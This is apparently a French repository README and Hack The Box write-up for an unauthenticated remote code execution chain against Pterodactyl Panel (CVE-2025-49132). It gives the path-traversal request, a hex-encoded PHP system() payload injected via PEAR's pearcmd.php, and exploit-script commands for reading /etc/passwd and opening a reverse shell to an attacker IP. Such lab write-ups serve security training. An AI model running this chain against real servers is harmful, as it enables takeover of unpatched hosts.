
Exploit RCE non authentifié pour CVE-2025-49132 dans Pterodactyl Panel via traversée de chemin, injection de commande PEAR et exécution de code PHP. Inclut un writeup HTB et un script d'assistance.
HTB Saison 10 - Writeup de la Machine Pterodactyl
Cible : Machine HTB Pterodactyl (Difficulté Moyenne)
CVE : CVE-2025-49132
Sévérité : Critique (CVSS 9.8)
Type d'attaque : Exécution de code à distance non authentifiée
Affecté : Panneau Pterodactyl < v1.11.11
Cette chaîne d'exploitation combine :
Le point d'accès /locales/locale.json du panneau Pterodactyl permet un path traversal via le paramètre locale :
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
Cela peut être enchaîné avec pearcmd.php de PEAR pour :
/tmpPEAR (PHP Extension and Application Repository) possède un outil CLI (pearcmd.php) qui :
config-create qui écrit des fichiersLa chaîne d'exploitation :
Path Traversal → Charger pearcmd.php → Injecter du PHP via config-create → Exécuter le PHP malveillant
Les commandes sont encodées en hexadécimal à l'aide de hex2bin() pour contourner :
Exemple :
Commande : whoami
Hex : 77686f616d69
Payload : <?=system(hex2bin('77686f616d69'))?>
Méthode : Utilisation du script exploit.sh fourni
chmod +x exploit.sh
# Obtenir le flag utilisateur
./exploit.sh flag
# Exécuter des commandes
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Shell inverse
nc -lvnp 4444 # Sur la machine attaquante
./exploit.sh shell 10.10.14.21 4444